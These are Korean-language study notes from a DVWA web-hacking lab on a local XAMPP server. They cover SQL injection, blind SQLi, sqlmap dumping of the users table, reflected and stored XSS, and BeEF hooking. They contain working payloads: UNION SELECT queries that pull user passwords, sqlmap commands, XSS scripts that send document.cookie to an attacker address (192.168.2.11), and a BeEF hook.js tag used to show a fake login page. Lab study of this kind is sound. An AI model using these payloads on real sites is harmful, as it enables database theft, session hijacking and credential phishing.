-
xampp 시작 명령어
/opt/lampp/manager-linux-x64.run&
SQL Injection
웹 응용 프로그램에서 발생하는 보안 취약성으로, 악의적인 사용자가 악용할 수 있는 상황을 나타냅니다. 이 취약성은 주로 사용자 입력이나 외부 데이터를 데이터베이스 쿼리에 삽입하여 실행될 때 발생합니다. 즉, 사용자 입력이 충분한 검증 없이 데이터베이스 쿼리에 직접 포함될 때, 공격자는 이를 악용하여 데이터베이스를 조작하거나 민감한 정보를 노출시키는 등의 악의적인 행동을 할 수 있습니다.
sql이 지정되었있는지 확인 방법은 '를 해본다
1 'or' 1 '=' 1
입력값에 1’ or ‘1’=’1 앞 뒤에 작은따옴표가 포함되도록 그리고 쿼리문에 1 or 1을 넣어 항상 참이되도록 만들어주면 결과값이 다음과 같이 나온다'# = 주석으로 인식해 에러가 나지않는다
1' union select 1# = 칼럼 수 가 맞지않아 에러가 났다
1' union select 1,2#1' order by 1#
1' order by 1,2#
(3은 칼럼이 없기떄문에 에러가 났다)1' union select schema_name, 1 from information_schema.schemata#
1' union select schema_name, 2 from information_schema.schemata#1' union select table_schema, table_name from information_schema.tables where table_schema='dvwa'# 1' union select user, password from users#
https://hashtoolkit.com/ md5 해석SQL Injection (Blind)
1을 입력이 존재한다는걸 알려주고 6부터 존재 하지않다 1' and sleep(6)# = 존재하면 6초후에 나타내준다
f12눌려 확인할수 있다6' and sleep(6)#
6은 없기때문에 전달이 안된다select user from users where id = '1' and 1=2 #
sqlmap
sqlmap -u "http://192.168.2.11/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie= "security=low; PHPSESSID=tdf98mi4qdd2v4j5huc67t5sr5"
sqlmap -u "http://192.168.2.11/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie= "security=low; PHPSESSID=tdf98mi4qdd2v4j5huc67t5sr5" --current-db
sqlmap -u "http://192.168.2.11/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie= "security=low; PHPSESSID=tdf98mi4qdd2v4j5huc67t5sr5" -D dvwa -T users --dump
n y 엔터 n
SQL Injection high
소스 코드를 보면 LIMIT 이라는 키워드를 이용하여 출력되는 레코드의 수를 조절하고 있다. 무조건 하나만 출력 되도록 막고 있는 것이다. 하지만 이것 역시 SQL 인젝션 공격을 방어하는 용도로는 아무런 의미가 없다. id 부분 뒤를 주석 처리만 하면 끝나는 문제이다. 입력 창에 1 대신 1' or '1'='1'# 을 입력한다.
'$id[1 'or' 1 '=' 1]' limit 1
'#
1 'or' 1 '=' 1 ' #
1' union select user, password from users #
prepare()
bindParm()
execute()
--> "prepared statement" ***
Reflected Cross Site Scripting (XSS)
먼저 Reflected 방식의 가장 큰 특징은 특정한 사용자를 대상으로 한다는 것입니다.
즉, 주목적이 특정한 사용자로 하여금 공격자의 스크립트가 웹브라우저에 의해 실행되게 하는 것이기 때문에 피싱 등의 방법을 사용하게 됩니다.
예를 들어, 피싱 메일의 링크를 사용자가 클릭하면 공격자의 스크립트가 삼입된 요청을 특정 서버에 보내게 됩니다.
그 이후 응답을 받은 뒤 클라이언트 웹브라우저에서 스크립트를 실행하고 스크립트 내용에 따라 사용자의 세션 정보등을 공격자에게 전송하는 동작을 하게 됩니다.song 검색 결과
name 변경 결과 쿠키 값을 보여준다 터미널에서
/opt/lampp/manager-linux-x64.run&
tail -f /opt/lampp/logs/access_logintercept 을 키고
<script>document.location='http://192.168.2.11/cookie?'+document.cookie</script>
document.location%3d%27http%3a%2f%2f192.168.2.11%2fcookie%3f%27%2bdocument.cookie<script>document.location='http://192.168.2.11/cookie?'+document.cookie</script> -> url 인코딩으로 변환
<script>document.location%3d%27http%3a%2f%2f192.168.2.11%2fcookie%3f%27%2bdocument.cookie</script> 복사 붙여넣기<script>document.location%3d%27http%3a%2f%2f192.168.2.11%2fcookie%3f%27%2bdocument.cookie</script>
주소뒤에 붙이기Stored Cross Site Scripting (XSS)
XSS 취약점은 사용자의 입력을 HTML에 출력하는 부분에서 발생한다. HTML을 제대로 검증하지 않으면 공격자는 자신이 원하는 자바스크립트를 삽입할 수 있다. 기본적으로 자바스크립트 삽입이 가능한 지 점검하는 방법은
HTML 삽입 취약점 탐지방법 문서에서 살펴볼 수 있다.글자 드래그 우클릭 후 선택 글자수를 늘리고 싶은면 intercept on
게시판을 건들때마다 log에 쿠키가 나온다
BeEF
apt-get install beef-xss 설치
nano /etc/beef-xss/config.yaml -> 유저 패스워드 설정
./beef 실행ui 접속 접속 후 로그인
<script src="http://192.168.2.11:3000/hook.js"></script> 입력 생성이 된걸 확인할 수있다 프리티시프 공격기법은 페이스북과같은 유명한 사이트의 로그인창을 비슷하게 만들어 띄워주고
사용자가 아이디와 패스워드를 입력하는것을 가로챈다.이런식으로 사용자가 아무 의심없이 로그인을 할수 있게된다 사용자의 정보들이 들어온걸 알수있다